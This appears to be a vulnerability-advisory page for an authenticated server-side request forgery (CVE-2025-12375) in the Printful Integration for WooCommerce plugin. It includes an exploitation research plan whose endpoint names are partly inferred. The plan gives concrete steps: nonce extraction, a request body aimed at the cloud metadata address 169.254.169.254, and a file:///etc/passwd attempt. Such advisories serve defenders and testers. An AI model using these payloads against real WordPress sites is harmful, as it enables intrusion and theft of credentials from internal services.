Printful Integration for WooCommerce <= 2.2.11 - Authenticated (Contributor+) Server-Side Request Forgery
Description
The Printful Integration for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.11 via the advanced size chart REST API endpoint. This is due to insufficient validation of user-supplied URLs before passing them to the download_url() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.2.11Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12375 (Printful SSRF) ## 1. Vulnerability Summary The **Printful Integration for WooCommerce** plugin (versions <= 2.2.11) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the REST API endpoint responsible for …
Show full research plan
Exploitation Research Plan: CVE-2025-12375 (Printful SSRF)
1. Vulnerability Summary
The Printful Integration for WooCommerce plugin (versions <= 2.2.11) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the REST API endpoint responsible for handling "advanced size charts." Specifically, user-supplied URLs are passed to the WordPress download_url() function without adequate validation or sanitization. This allows a Contributor-level user to force the server to make GET requests to arbitrary internal or external locations.
2. Attack Vector Analysis
- Endpoint:
/wp-json/printful/v1/size-charts/fetch(inferred, based on "size chart" and typical Printful REST patterns) - Method:
POST(or potentiallyGET, depending on route registration) - Vulnerable Parameter:
url(inferred) - Required Capability:
edit_posts(Contributor level) - Authentication: Required. A valid WordPress session cookie and a
wp_restnonce are necessary. - Sinks:
download_url()(which internally callswp_safe_remote_get()but is often misconfigured or bypassable in local environments).
3. Code Flow (Inferred)
- Route Registration: The plugin registers a REST route in a class (likely
Printful_REST_APIorPrintful_Size_Chart_Handler) usingregister_rest_route('printful/v1', '/size-charts/fetch', ...). - Permission Check: The
permission_callbackchecks forcurrent_user_can('edit_posts')or similar, allowing Contributors access. - Request Handling: The callback function retrieves the
urlparameter from theWP_REST_Requestobject. - Vulnerable Sink: The code calls
download_url( $params['url'] ). - Request Execution: WordPress executes an HTTP GET request to the provided URL to "download" the resource to a temporary file.
4. Nonce Acquisition Strategy
To interact with the WordPress REST API as an authenticated user, we must provide a wp_rest nonce via the X-WP-Nonce header.
- Setup: Create a Contributor user and log in.
- Page Navigation: Navigate to the WordPress Dashboard (
/wp-admin/). - Extraction:
- WordPress naturally localizes the REST nonce in the
wp-adminsource code within thewpApiSettingsobject. - Tool: Use
browser_eval. - JavaScript:
window.wpApiSettings?.nonce
- WordPress naturally localizes the REST nonce in the
- Alternative: If the plugin has its own specific localized scripts for the size chart feature, check for those:
- Identify the shortcode or admin page: Look for
add_menu_pageoradd_submenu_pagein the source. - If a specific script is enqueued:
browser_eval("window.printful_admin_params?.nonce")(inferred).
- Identify the shortcode or admin page: Look for
5. Exploitation Strategy
The goal is to demonstrate SSRF by hitting an internal service or a listener.
Step 1: Authentication & Nonce
- Authenticate as a Contributor.
- Extract the
wp_restnonce usingbrowser_eval("wpApiSettings.nonce").
Step 2: Identify the REST Endpoint
- Confirm the exact endpoint and parameter name.
- Check: Grep the plugin directory for
register_rest_routeanddownload_url.grep -rn "register_rest_route" .grep -rn "download_url" .
Step 3: Execute SSRF Request
- Use
http_requestto send a POST request to the identified endpoint. - URL:
http://<target>/wp-json/printful/v1/size-charts/fetch(verify slug in source) - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "url": "http://169.254.169.254/latest/meta-data/" } - Note: For local test environments, use an internal IP like
http://127.0.0.1:80or a webhook listener.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation:
- Ensure
printful-shipping-for-woocommerceis active. - Ensure WooCommerce is active (dependency).
- Ensure
- Internal Listener (Optional):
- Start a simple listener on a non-standard port to catch the SSRF.
python3 -m http.server 8888(if reachable from the web server container).
7. Expected Results
- Success Criteria: The server response should indicate an attempt to process the URL.
- Indicators:
- If the URL is valid/internal: Response code
200 OKor500 Internal Server Error(ifdownload_urlfails to parse the result as a size chart). - If hitting a listener: You will see a
GETrequest in the listener logs originating from the WordPress server's IP. download_urlusually returns the path to a temporary file on success or aWP_Erroron failure. The REST response may echo this error.
- If the URL is valid/internal: Response code
8. Verification Steps
- HTTP Logs: Check the access logs of the target internal service to confirm the GET request was received.
- Error Analysis: If the request fails, check the response body:
{"code":"rest_invalid_param","message":"...","data":{"status":400}}means the parameter was wrong.{"code":"internal_server_error", ...}after a delay suggests the SSRF timed out or reached a destination that didn't return expected data.
9. Alternative Approaches
- Path Traversal via SSRF: Try
file:///etc/passwd(thoughdownload_urlusually useswp_safe_remote_getwhich blocksfile://schemes in newer WP versions, older or specific configurations might allow it). - GET Request: If
POSTis not accepted, try passing the URL as a query parameter:GET /wp-json/printful/v1/size-charts/fetch?url=http://127.0.0.1:8888
- Parameter Variation: Try
image_url,chart_url, orpathifurlis not the correct key. (Grepincludes/for the callback function implementation to be certain).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.